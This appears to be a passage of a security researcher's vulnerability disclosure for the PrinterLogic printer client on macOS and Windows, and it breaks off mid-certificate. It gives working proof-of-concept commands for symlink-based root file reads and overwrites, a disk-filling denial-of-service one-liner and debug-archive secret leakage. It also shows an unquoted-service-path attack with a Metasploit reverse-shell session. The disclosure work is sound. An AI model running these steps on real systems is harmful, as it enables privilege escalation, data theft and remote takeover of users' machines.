Arguments: https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1
User ID: 501
Group ID: 20
Use UI: True
Origin: 'INTERFACE'
2021-12-10 18:37:55,495 (DEBUG): Checking if home URL should be changed to: https://[redacted].printercloud10.com/
2021-12-10 18:37:55,498 (DEBUG): Getting clientsettings.dat from server (or using cache at /opt/PrinterInstallerClient/tmp/data/clientsettings.dat, if up-to-date)
2021-12-10 18:37:55,532 (DEBUG): Attempting to open: https://[redacted].printercloud10.com/client/gateway.php?redirect=1&ips=192.168.100.28%2C192.168.1.100%2C100.64.0.1&file=/clientsettings.dat&PPPSETID=printer&urlc=&idc=p972&if_no_login=
A popup will then appear on the laptop, asking to choose a driver to add to the repository:
After choosing a driver, the upload process starts:
During the obtaining upload ID
, we can see the request is sent to the remote server:
Using Burp, the request is intercepted and blocked. However, the investigation was pot pursued thereafter because testing the remote server is not allowed. No malicious requests were sent to the remote server.
If the request was not dropped, the process would likely have continued and a new driver would have been uploaded on the website.
After analyzing the bzip2 temporary archive that was generated in /tmp
and supposed to be sent to the remote server, it was found out that this archive contains multiple programs that will then be provided to other users:
1/Contents/Applications/HP Alerts.app/Contents/MacOS/HP Alerts: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
1/Contents/Applications/HP Email Alerts.app/Contents/MacOS/HP Email Alerts: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
1/Contents/Applications/HP Event Status.app/Contents/MacOS/HP Event Status: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
1/Contents/Applications/LegacyScanEventHandler.app/Contents/MacOS/LegacyScanEventHandler: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
1/Contents/Frameworks/HSDCommonLib.framework/Versions/A/Runtime/hppaauthtool: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
1/Contents/MacOS/HP Utility: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
1/Contents/Resources/launcher: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
3/Contents/MacOS/Inkjet2: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK>
4: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL>
5/HPDeviceModel.framework/Versions/4.0/Frameworks/Core.framework/Versions/4.0/XPCServices/com.hp.devicemodel.TransportProxy.xpc/Contents/MacOS/com.hp.devicemodel.TransportProxy: Mach-O universal binary with 2 architectures: [i386:Mach-O i386 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE|NO_HEAP_EXECUTION>] [x86_64:Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]
5/HPDeviceModel.framework/Versions/4.0/Runtime/hpdot4d.app/Contents/MacOS/hpdot4d: Mach-O universal binary with 2 architectures: [i386:Mach-O i386 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE|NO_HEAP_EXECUTION>] [x86_64:Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]
5/HPDeviceModel.framework/Versions/4.0/Tools/dmfdsclient: Mach-O universal binary with 2 architectures: [i386:Mach-O i386 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE|NO_HEAP_EXECUTION>] [x86_64:Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]
5/HPDeviceMonitoring.framework/Versions/1.0/Helpers/HP Device Monitor Manager.app/Contents/Library/LoginItems/HP Device Monitor.app/Contents/MacOS/HP Device Monitor: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
5/HPDeviceMonitoring.framework/Versions/1.0/Helpers/HP Device Monitor Manager.app/Contents/MacOS/HP Device Monitor Manager: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
5/HPDM.framework/Versions/5.0/Runtime/hpdot4d.app/Contents/MacOS/hpdot4d: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
5/HPDM.framework/Versions/5.0/XPCServices/com.hp.dm.5.TransportProxy.xpc/Contents/MacOS/com.hp.dm.5.TransportProxy: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
6/Contents/MacOS/commandtohp: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
7/Contents/MacOS/pdftopdf: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK|PIE>
An attacker with admin privileges can modify this archive to insert malicious programs.
It is possible to update/change the drivers that will be provided to other users.
In the security assessment performed in 2022, it was proven that it was possible to upload malicious drivers to the VA/SaaS versions without admin privileges.
The file /opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/bundle_debug.pyc.py
contains instructions to generate a zip archive when the task BUNDLE_DEBUG
is created. Using the API without authentication, it is possible to generate a debug archive as root. The resulting archive will be world-readable and contains secrets.
Content of /opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/bundle_debug.pyc.py
:
12 class BundleDebug(task.Task): 13 request_name = 'BUNDLE_DEBUG' 14 never_execute_for_all_users = True 15 never_use_ui = True [...] 44 def __call(self): 45 zip_name = datetime.datetime.now().strftime('PrinterLogic-Debug-%Y%m%d%H%M%S.zip') 46 zip_path = os.path.join(self._output_directory, zip_name) 47 with zipfile.ZipFile(zip_path, 'w', compression=(zipfile.ZIP_BZIP2)):
Creating a BUNDLE_DEBUG
task:
user@laptop ~ % echo -n 'BUNDLE_DEBUG' > /opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211209191990
A task will be created:
2021-12-10 20:17:10,158 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211209191990'
2021-12-10 20:17:10,163 (INFO): Received request: BUNDLE_DEBUG
2021-12-10 20:17:10,166 (INFO): Creating task:
Command: 'BUNDLE_DEBUG'
Arguments:
User ID: 501
Group ID: 20
Use UI: False
Origin: 'INTERNAL'
And a resulting file will be created in /opt/PrinterInstallerClient/bin
:
root@laptop bin # ls -la /opt/PrinterInstallerClient/bin total 1832 drwxr-xr-x 20 root wheel 640 Dec 10 20:17 . drwxr-xr-x 13 root wheel 416 Dec 9 20:20 .. -r--r--r-- 1 root wheel 814802 Dec 10 20:17 PrinterLogic-Debug-20211210201710.zip -r-xr-x--- 1 root wheel 215 Mar 5 2021 ad_override_file.sh -r-xr-x--- 1 root wheel 269 Mar 5 2021 bundle_debug.sh -r-xr-x--- 1 root wheel 211 Mar 5 2021 configure_proxy.sh -r-xr-x--- 1 root wheel 165 Mar 5 2021 disable_home_url_security.sh -r-xr-x--- 1 root wheel 233 Mar 5 2021 disable_ipp_queue_interpretation.sh -r-xr-x--- 1 root wheel 209 Mar 5 2021 disable_updates.sh -r-xr-x--- 1 root wheel 243 Mar 5 2021 ignore_certificate_errors.sh -r-xr-x--- 1 root wheel 3343 Mar 5 2021 install_fips_openssl.sh -r-xr-x--- 1 root wheel 214 Mar 5 2021 kerberos_timeout.sh -r-xr-x--- 1 root wheel 205 Mar 5 2021 lock_home_url.sh -r-xr-x--- 1 root wheel 188 Mar 5 2021 refresh.sh -r-xr-x--- 1 root wheel 725 Mar 5 2021 restart_service.sh -r-xr-x--- 1 root wheel 197 Mar 5 2021 set_home_url.sh -r-xr-x--- 1 root wheel 332 Mar 5 2021 toggle_debug_mode.sh -r-xr-x--- 1 root wheel 1559 Mar 5 2021 uninstall.sh -r-xr-x--- 1 root wheel 212 Mar 5 2021 use_authorization_code.sh -r-xr-x--- 1 root wheel 210 Mar 5 2021 user_from_file.sh root@laptop bin #
This archive is world-readable and contains some files.
Content of PrinterLogic-Debug-20211210201710.zip
:
kali% 7z l PrinterLogic-Debug-20211210201710.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i3-5005U CPU @ 2.00GHz (306D4),ASM,AES-NI)
Scanning the drive for archives:
1 file, 814802 bytes (796 KiB)
Listing archive: PrinterLogic-Debug-20211210201710.zip
--
Path = PrinterLogic-Debug-20211210201710.zip
Type = zip
Physical Size = 814802
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-12-10 20:17:10 ..... 269 261 basic_info.txt
2021-12-10 19:49:56 ..... 2820 1739 configuration.json
2021-12-10 19:15:16 D.... 0 0 data
2021-12-09 18:39:28 ..... 1125 617 data/printer_502_m101664.xml
2021-12-07 18:34:50 ..... 1074 611 data/printer_488_m101664.xml
2021-12-07 18:43:36 ..... 1063 598 data/printer_973_m101664.xml
2021-12-09 18:40:34 ..... 1130 620 data/printer_501_m101664.xml
2021-12-09 18:38:40 ..... 1096 609 data/printer_499_m101664.xml
2021-12-07 21:38:18 ..... 1063 597 data/printer_972_m101664.xml
2021-12-09 16:27:12 ..... 15977 6254 data/clientsettings.dat
2021-12-09 18:39:10 ..... 1074 596 data/printer_503_m101664.xml
2021-12-09 18:32:38 ..... 1102 605 data/printer_500_m101664.xml
2021-12-07 16:53:40 D.... 0 0 commands
2021-12-09 19:28:40 D.... 0 0 log
2021-12-10 19:49:56 ..... 31 70 log/HOMEURL
2021-12-10 17:32:40 ..... 2 39 log/service_last_exit
2021-12-10 20:17:10 ..... 5261882 308735 log/service_info.log
2021-12-10 20:14:22 ..... 114212 4151 log/launchd_service_error.log
2021-12-10 20:17:10 ..... 6126626 388599 log/service.log
2021-12-10 19:57:38 ..... 36208 2789 log/interface.log
2021-12-10 17:32:40 ..... 10605 1464 log/launchd_service.log
2021-12-10 20:15:28 ..... 241867 80421 log/cpu.prof
2021-12-10 17:35:02 ..... 161358 7113 log/PrinterLogicIdpAuthentication.log
2021-12-07 16:53:40 ..... 2068 697 log/install.log
2021-12-09 18:42:44 D.... 0 0 printers
2021-12-10 20:12:26 ..... 754 428 printers/DIRECT_IP_426.json
2021-12-10 20:12:26 ..... 722 422 printers/DIRECT_IP_689.json
2021-12-10 20:12:26 ..... 758 425 printers/DIRECT_IP_427.json
2021-12-10 20:12:26 ..... 738 429 printers/DIRECT_IP_413.json
2021-12-10 20:17:24 ..... 735 362 checkin_info.xml
2021-12-10 20:17:24 ..... 3219 749 all_printers.txt
2021-12-07 18:35:52 D.... 0 0 cups
2021-12-09 18:42:42 ..... 1852 320 cups/access_log
2021-12-10 20:17:18 ..... 247 210 job_record.json
2021-12-10 20:17:24 ..... 0 14 missing__pull_print_release_record.json
2021-12-10 20:17:24 ..... 0 14 missing__service_client
------------------- ----- ------------ ------------ ------------------------
2021-12-10 20:17:24 11991677 810558 31 files, 5 folders
kali%
The configuration.json
file contains:
kali% cat configuration.json { "home_url": "https://[redacted].printercloud10.com/", "home_url_locked": null, "session_id": "PHPSESSID=c72968d6e68d781a800528758029b232;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;",
data/clientsettings.dat
file containing the private key of the previous Certificate Authority (CVE-2025-27685 - Hardcoded Private key for the PrinterLogic CA and Hardcoded password) and SNMP keys:Any local user can retrieve the configuration of the software, including PHP sessions and SNMP communities of printers.
Any local user can DoS the laptop by creating files using echo -n 'BUNDLE_DEBUG' > /opt/PrinterInstallerClient/tmp/requests/$RANDOM-$RANDOM
and filing the hard disk as root.
It is possible to use the APIs to read the first line of any file in the laptop, even if the permissions don't allow reading this file.
/Users/pwnme-admin/secret/not-readable.file
is a file with 600
permissions and the directory /Users/pwnme-admin/secret/
is using 700
permissions - these files are not readable by normal users:
Content of /Users/pwnme-admin/secret/
:
sh-3.2# ls -la /Users/pwnme-admin/secret/
total 8
drwx------ 3 pwnme-admin 1000 96 Dec 9 19:43 .
drwxr-xr-x 13 pwnme-admin 1000 416 Dec 10 20:57 ..
-rw------- 1 pwnme-admin 1000 13 Dec 9 19:43 not-readable.file
sh-3.2#
As user, it is impossible to read this file:
user@laptop ~ % ls -la /Users/pwnme-admin/secret/not-readable.file
ls: /Users/pwnme-admin/secret/not-readable.file: Permission denied
user@laptop ~ % cat /Users/pwnme-admin/secret/not-readable.file
cat: /Users/pwnme-admin/secret/not-readable.file: Permission denied
user@laptop ~ %
Creating a new task using a symbolic link will allow getting the content of the first line of the file, as this file is opened by PrinterInstallerClientService running as root:
user@laptop ~ % ln -s /Users/pwnme-admin/secret/not-readable.file /opt/PrinterInstallerClient/tmp/requests/26TJdkfj0923lkaFlkSDSDn-202112091901313
And the first line of this file will be saved in the logs. The logs can be read by any user:
2021-12-10 21:07:42,743 (INFO): Received request: not-readable 2021-12-10 21:07:42,755 (INFO): Creating task: Command: 'not-readable' Arguments: User ID: 1001 Group ID: 1000 Use UI: True Origin: 'INTERFACE' 2021-12-10 21:07:42,762 (ERROR): No matching process task for received request data: not-readable 2021-12-10 21:07:42,764 (INFO): Done with request: not-readable
We can confirm as root that the content of the file is not-readable
.
Content of /Users/pwnme-admin/secret/not-readable.file
:
root@laptop pwnme-admin # cat /Users/pwnme-admin/secret/not-readable.file
not-readable
root@laptop pwnme-admin #
Any local user can retrieve the first line of any file in the system.
Using the APIs and symbolic links, it is possible to write into files as root.
We will create a file owned by root with 600
as permissions. The file can be empty or can contain data. For the PoC, the file will contain yo
:
root@laptop /tmp # touch /tmp/test
root@laptop /tmp # chmod 600 /tmp/test
root@laptop /tmp # echo yo >> /tmp/test
root@laptop /tmp # ls -la /tmp/test
-rw------- 1 root wheel 3 Dec 10 21:55 /tmp/test
root@laptop /tmp # cat /tmp/test
yo
root@laptop /tmp #
By default, when a task is created and needs to write output, the filename used in the request will be reused in the /opt/PrinterInstallerClient/tmp/responses/
output file. We will use the filename 1-1
.
Creating a symbolic link inside /opt/PrinterInstallerClient/tmp/responses/
:
user@laptop responses % ln -s /tmp/test /opt/PrinterInstallerClient/tmp/responses/1-1
Creating a new task with /opt/PrinterInstallerClient/tmp/requests/1-1:
user@laptop ~ % echo -n GET_CONTEXT_MENU_ITEMS > /opt/PrinterInstallerClient/tmp/requests/1-1
By checking the logs, we can confirm the symbolic link has been followed:
2021-12-10 22:00:08,035 (INFO): Received request: GET_CONTEXT_MENU_ITEMS
2021-12-10 22:00:08,043 (INFO): Creating task:
Command: 'GET_CONTEXT_MENU_ITEMS'
Arguments:
User ID: 501
Group ID: 20
Use UI: True
Origin: 'PLUGIN'
2021-12-10 22:00:08,056 (INFO): Done with request: GET_CONTEXT_MENU_ITEMS
2021-12-10 22:00:08,082 (DEBUG): Opening pipe at /opt/PrinterInstallerClient/tmp/responses/1-1 to write response
2021-12-10 22:00:08,102 (DEBUG): Writing plugin response to pipe at: b'1\n2\n[]'
2021-12-10 22:00:08,115 (DEBUG): Done writing response to pipe
And the /tmp/test file has been overwritten:
root@laptop /tmp # ls -la /tmp/test
-rw------- 1 root wheel 6 Dec 10 22:00 /tmp/test
root@laptop /tmp # cat /tmp/test
1
2
[]
root@laptop /tmp #
The potential misuse depends on the output of the task.
Any local user can overwrite files as root.
By overwriting specific files, it is possible to change the configuration of programs and get a Local Privilege Escalation. For example, an attacker updating the homeurl variable used by PrinterLogic to a malicious HTTP server will be able to insert malicious programs inside drivers.
When running the daemons manually, some warning messages will appear.
Warning messages about OpenSSL:
user@laptop data % /opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/PrinterLogicIdpAuthentication current-user http://192.168.100.1 501
/opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/cryptography/hazmat/bindings/openssl/binding.py:177: CryptographyDeprecationWarning: OpenSSL version 1.0.2 is no longer supported by the OpenSSL project, please upgrade. The next version of cryptography will drop support for it.
By analyzing the openssl library at /opt/PrinterInstallerClient/lib/libcrypto.1.0.0.dylib
, it appears the version is OpenSSL 1.0.2h-fips 3 May 2016
.
This is also confirmed by reading the file /opt/PrinterInstallerClient/bin/install_fips_openssl.sh
:
21 # Check for existing openssl installation 22 echo "Checking for OpenSSL 1.0.2 with fips wrapper in /usr/local/ssl" 23 if [[ -f /usr/local/ssl/bin/openssl ]]; then 24 valid_openssl=$(/usr/local/ssl/bin/openssl version | grep "1.0.2" | grep "-fips") 25 if [[ ! -z ${valid_openssl} ]]; then 26 echo " Congrats, you already have '${valid_openssl}' installed!" 27 exit 0 28 else 29 echo " Replacing $(/usr/local/ssl/bin/openssl version) installation found in /usr/local/ssl" 30 sudo rm -rf /usr/local/ssl 31 fi 32 fi 33 34 35 # Get all the fun stuff set up 36 _OPENSSL_FIPS_VERSION="2.0.12" 37 _OPENSSL_VERSION="1.0.2h" # [1] <------------------ OpenSSL 1.0.2h 38 _OPENSSL_FIPS_NAME="openssl-fips-${_OPENSSL_FIPS_VERSION}" 39 _OPENSSL_NAME="openssl-${_OPENSSL_VERSION}" 40 _OPENSSL_FIPS_TAR="${_OPENSSL_FIPS_NAME}.tar.gz" 41 _OPENSSL_TAR="${_OPENSSL_NAME}.tar.gz" 42 _OPENSSL_SOURCE_URL="https://www.openssl.org/source/" 43 _CURRENT=$(pwd) [...] 46 # Download the files from openssl 47 echo "Downloading OpenSSL source from ${_OPENSSL_SOURCE_URL}" 48 if [[ "${_OS}" == "OSX" ]]; then 49 curl ${_OPENSSL_SOURCE_URL}${_OPENSSL_TAR} -O 50 curl ${_OPENSSL_SOURCE_URL}${_OPENSSL_FIPS_TAR} -O [...] 69 # Compile and install fips wrapper, then openssl 70 echo "Configuring and Installing OpenSSL from source" 71 if [[ "${_OS}" == "OSX" ]]; then 72 cd ${_CURRENT}/${_OPENSSL_FIPS_NAME} \ 73 && chmod +x Configure \ 74 && ./Configure darwin64-x86_64-cc \ 75 && make \ 76 && sudo make install 77 cd ${_CURRENT}/${_OPENSSL_NAME} \ 78 && chmod +x Configure \ 79 && ./Configure darwin64-x86_64-cc shared fips \ 80 && make depend \
This version of OpenSSL is EOL since 2019.
The solution is based on an outdated and unsupported OpenSSL library.
The laptop is running Windows 10 and the Printerlogic version is 25.0.0.426.
Only a superficial analysis was performed on Printerlogic since this security assessment was mainly done against the default installation of a Windows 10 laptop and Printerlogic was a small part of this audit.
The laptop uses PrinterLogic to automatically download and configure printer drivers.
The PrinterLogic website is available at https://[redacted].printercloud10.com/:
This solution is made of different components:
DOMAIN\user
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
By default, these 3 programs running on the laptop have no security at all:
Here is PrinterInstallerClient.exe running as NT AUTHORITY\SYSTEM
:
Furthermore, these programs are a mix of outdated technologies:
When these 3 programs are analyzed, the logs are written into disk as NT AUTHORITY\SYSTEM
into C:\Windows\Temp\PPP\Log\
:
All the users have full Read/Write access to these files/directories.
Permissions of PrinterInstallerClient.log
:
Writing of logs as NT AUTHORITY\SYSTEM
:
With a symbolic link, it is possible to redirect the writing of logs as NT AUTHORITY\SYSTEM
and to overwrite any file in the system to get a Local Privilege Escalation.
The code also contains multiple race conditions that may allow Local Privilege Escalations.
Also, some DLL hijacking vulnerabilities have been identified.
An attacker can get Local Privilege Escalation.
Another insecure file write has been identified in C:\Users\%USER%\AppData\Local\Temp\
. These files are created as NT AUTHORITY\SYSTEM
inside a directory under the control of the local user.
With a symbolic link, it is possible to redirect the writing of these files as NT AUTHORITY\SYSTEM
and to overwrite any file in the system to get a Local Privilege Escalation:
Multiple files created in C:\Users\%USER%\AppData\Local\Temp
:
An attacker can get Local Privilege Escalation.
When a driver of a printer is installed using PrinterLogic, the PrinterInstallerClient.exe
will execute several programs using the PATH C:\Program Files (x86)\Printer Properties Pro\Printer Installer
:
Command executed by PrinterInstallerClient.exe
:
Because the path is not quoted, the system will execute C:\Program.exe
before executing programs located inside C:\Program Files (x86)\Printer Properties Pro\Printer Installer
:
C:\Program.exe
executed by PrinterInstallerClient.exe
:
This will allow an attacker to get a Remote Code Execution using Metasploit after placing a rogue program into C:\Program.exe
.
Using a Metasploit agent as C:\Program.exe
, the attacker will receive a command execution from the network when a printer driver is installed:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.100.1
LHOST => 192.168.100.1
msf6 exploit(multi/handler) > set LPORT 10000
LPORT => 10000
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.100.1:10000
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.100.28
[*] Command shell session 1 opened (192.168.100.1:10000 -> 192.168.100.28:65282 ) at 2021-11-26 05:19:14 -0500
Shell Banner:
Microsoft Windows [Version 10.0.19043.1348]
-----
C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\bin\idp>whoami
whoami
[redacted]
C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\bin\idp>exit
exit
[*] 192.168.100.28 - Command shell session 1 closed. Reason: User exit
msf6 exploit(multi/handler) >
Note that the attacker needs to place a C:\Program.exe
file inside the target machine.
The configuration file of PrinterLogic can be found in C:\Windows\Temp\Data\clientsettings.dat
. It is an XML file containing some values:
Content of C:\Windows\Temp\Data\clientsettings.dat
:
Furthermore it contains a custom CA and its associated private key:
It is possible to confirm this private key is the private key of the public CA by checking modulus - they have the same modulus value:
kali% openssl rsa -noout -modulus -in CA.key
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
kali% openssl x509 -noout -modulus -in CA.crt
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
kali%
Description of the CA:
kali% openssl x509 -in CA.crt -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 0 (0x0)
Signature Algorithm: sha512WithRSAEncryption
Issuer: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority
Validity
Not Before: Jun 8 01:09:11 2021 GMT
Not After : Jun 3 01:09:11 2041 GMT
Subject: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (4096 bit)
Modulus:
00:ac:e2:e4:d8:ef:01:95:22:cd:78:38:f6:67:13:
1d:f7:5b:05:e0:dd:be:5a:00:41:30:ea:e4:e2:c2:
0b:ad:89:9a:23:52:80:09:ee:1c:ad:90:42:bb:28:
33:81:d5:32:fb:fc:8a:61:2a:6b:49:76:48:b1:2e:
06:58:88:bb:51:8f:37:a3:39:e4:0d:3c:d6:ef:44:
e8:3f:4e:d0:40:0d:36:a5:5a:9e:9d:ee:3d:d2:af:
[...]
ff:0d:b3:98:75:e3:c1:aa:71:93:76:af:6c:24:0a:
8c:99:d1:3d:8f:52:5f:2e:70:37:52:3f:12:cb:98:
55:af:bb
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16
X509v3 Authority Key Identifier:
keyid:E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16
X509v3 Basic Constraints:
CA:TRUE, pathlen:0
Signature Algorithm: sha512WithRSAEncryption
33:d4:53:d0:d5:f0:08:45:b9:c3:3c:90:3c:17:da:af:84:74:
The same parameters can be found in C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\defaults.ini
:
Content of C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\defaults.ini
:
badge_username=SET
caCertificate=-----BEGIN CERTIFICATE-----
MIIF+DCCA+CgAwIBAgIBADANBgkqhkiG9w0BAQ0FADCBlDELMAkGA1UEBhMCVVMx
DTALBgNVBAgMBFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFBy
aW50ZXJMb2dpYzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwm
